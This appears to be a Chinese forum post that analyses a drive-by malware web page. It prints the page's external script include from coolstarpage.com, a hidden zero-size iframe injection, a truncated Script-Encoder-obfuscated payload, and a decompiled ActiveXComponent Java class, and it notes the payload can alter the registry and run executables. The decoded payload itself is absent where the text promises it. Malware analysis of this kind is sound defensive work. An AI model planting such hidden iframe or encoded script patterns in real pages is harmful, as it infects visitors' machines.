许多什么什么精美照片之类的网址，我后来研究这种网页，隐藏的很深的，首先发现它的主页有这
样的代码有引用什么www.coolstarpage.com的代码，
<script src=" http://coolstarpage.com/set.asp?name=123&url=http://www.123.com&set=2"></script>
大家可以去看看
document.write("<IFRAME src='ieatt.htm' width='1' height='0' marginwidth='0' marginheight='0'
hspace='0' vspace='0' frameborder='0' scrolling='NO' ></IFRAME>");
文件ieatt.htm代码这样的：
<SCRIPT LANGUAGE="JScript.Encode">#@~^tREAAA==@#@&@!Z O@#@&\mD, WMNdP{JYf;/mMrwD] ...</SCRIPT>
显然用Microsoft Script Encoder加密JavaScript代码了，网络真好，很快找到了
Decoder for Microsoft Script Encoder（该工具的源代码有附）改程序的具体机制及算法详见：
http://www.virtualconspiracy.com/scrdec.html
【题外话】
Windows脚本加密器(Windows Script Encoder - screnc.exe)是微软提供给大家加密
html,JScript,ASP等脚本,该工具下载地址：
http://msdn.microsoft.com/scripting/default.htm?/scripting/vbscript/download/vbsdown.htm
微软没有提供解密工具，微软在主页上这样说：
Note that this encoding only prevents casual viewing of your code;
it will not prevent the determined hacker from seeing what you've done and how.
加密器使用方法：
screnc filename1 filename2
filename1 - 要加密的脚本文件
filename2 - 加密后输出的脚本文件
举个例子：
源文件如下：
<HTML>
<HEAD>
<TITLE>Page with secret information</TITLE>
<SCRIPT LANGUAGE="JScript">
<!--//
//**Start Encode**
alert ("this code should be kept secret!!!!");
//-->
</SCRIPT>
</HEAD>
<BODY>
This page contains secret information.
</BODY>
</HTML>
加密后文件如下：
<HTML>
<HEAD>
<TITLE>Page with secret information</TITLE>
<SCRIPT LANGUAGE="JScript.Encode">
<!--//
//**Start Encode**#@~^QwAAAA==@#@&P~,l^+DDPvEY4kdP1W[n,/tK;V9P4
~V+aY,/nm.nD"Z"eE#p@#@&&JOO@*@#@&qhAAAA==^#~@&
lt;/SCRIPT>
</HEAD>
<BODY>
This page contains secret information.
</BODY>
</HTML>
你已经看到了加密后的脚本使用了Scripting.Encoder这个COM对象来实现的。
【言归正卷】
解密后代码大致为:

批注（我加上了注解，代码中Ghost Studio及 http://ghoststudio.yeah.net字符串是我代替用的，其中有些代码是我自己根据对Windows的了解而加上去的）
更重要的是可以执行一个可执行文件
虽然JAVA对Applet的安全作出了限制，但由于浏览器或语言漏洞的原因，当它与功能比较强大的脚本语言结合时，这些小应用程序常可凭借正常或诡秘的手段对用户
的机器进行恶意修改，比如修改注册表，运行相关的DOS命令，在用户机器上安装木马或激活相关的应用程序，其功能之强大远非单纯的网页所能胜任，由此看来，现在网上
所流传的说什么浏览相关网页中病毒或者硬盘被格式化也就见怪不惊了。另外，还有一种嵌入式应用程序就是ActiveX，是微软的一种插件技术，也可以象Applet一样
进行一些针对本机的操作。现在让我们了解一下以下代码编制的机 理（如果你不了解脚本语言，可仅看看程序修改了哪些注册表表 项，然后找到 这些表项并修改回来）。
让我们再来看看这个com.ms.activeX.ActiveXComponent东西是什么？
我的computer时Windows 2000
在目录 \WINNT\Java\Packages\有一个zip文件Tn9j75np.zip大概5M
里面是一堆的java class
我提供代码中有将有源文件ActiveXComponent.java代码大致是：
public class ActiveXComponent extends Canvas
{
private transient IAXComponent ax;
private transient IUnknown unknown;
private String clsid;
public void enableEvents()
{
}
public IUnknown createInstance(String s)
{
unknown = ax.createControl(s);
return unknown;
}
public IUnknown createInstance()
{
if(clsid == null)
throw new NullPointerException();
else
return createInstance(clsid);
}
public void createInstance(IUnknown iunknown)
{
if(iunknown == null)
{
throw new NullPointerException();
} else
{
unknown = iunknown;
ax.createControlFromIUnknown(iunknown);
return;
}
}
public Variant invoke(String s, Variant avariant[])
{
return internal_invoke(1, s, avariant);
}
public Variant getProperty(String s)
{
return internal_invoke(2, s, null);
}
public void setProperty(String s, Variant variant)
{
Variant avariant[] = new Variant[1];
avariant[0] = variant;
internal_invoke(4, s, avariant);
}
public ActiveXComponent()
{
PolicyEngine.checkForAllPermissions();
ax = createAXComponent();
}
public ActiveXComponent(String s)
{
this();
setCLSID(s);
createInstance(s);
}
public ActiveXComponent(IUnknown iunknown)
{
this();
createInstance(iunknown);
}
protected IAXComponent getHost()
{
return ax;
}
private static native IAXComponent createAXComponent();
private Variant internal_invoke(int i, String s, Variant avariant[])
throws IllegalArgumentException, NullPointerException
{
int ai[] = new int[1];
if(s == null)
throw new IllegalArgumentException("The method or property name can not be null.");
if(i == 0)
i = 1;
if(i != 1 && i != 2 && i != 4 && i != 8)
throw new IllegalArgumentException("The argument, int type, is not valid.");
if(getObject() == null)
throw new NullPointerException("The ActiveX control IUnknown is null.");
Variant variant = null;
switch(i)
{
case 3: // '\003'
case 5: // '\005'
case 6: // '\006'
case 7: // '\007'
default:
break;
case 2: // '\002'
variant = Dispatch.get(getObject(), s);
break;
case 4: // '\004'
if(avariant == null)
throw new IllegalArgumentException("Property value can not be null.");
Dispatch.put(getObject(), s, avariant[0]);
break;
case 8: // '\b'
if(avariant == null)
throw new IllegalArgumentException("Property value can not be null.");
Dispatch.putRef(getObject(), s, avariant[0]);
break;
case 1: // '\001'
if(avariant == null)
{
Variant avariant1[] = new Variant[1];
avariant1[0] = new Variant();
avariant = avariant1;
}
variant = Dispatch.invokev(getObject(), s, i, avariant, ai);
break;
}
return variant;
}
public void setCLSID(String s)
{
clsid = s;
}
public String getCLSID()
{
return clsid;
}
public IUnknown getObject()
{
return unknown;
}
static
{
System.loadLibrary("msawt");
}
}
可以看出
Windows对java的支持主要靠这个文件:\SystemDir\msawt.dll（Microsoft AWT Library for Java）
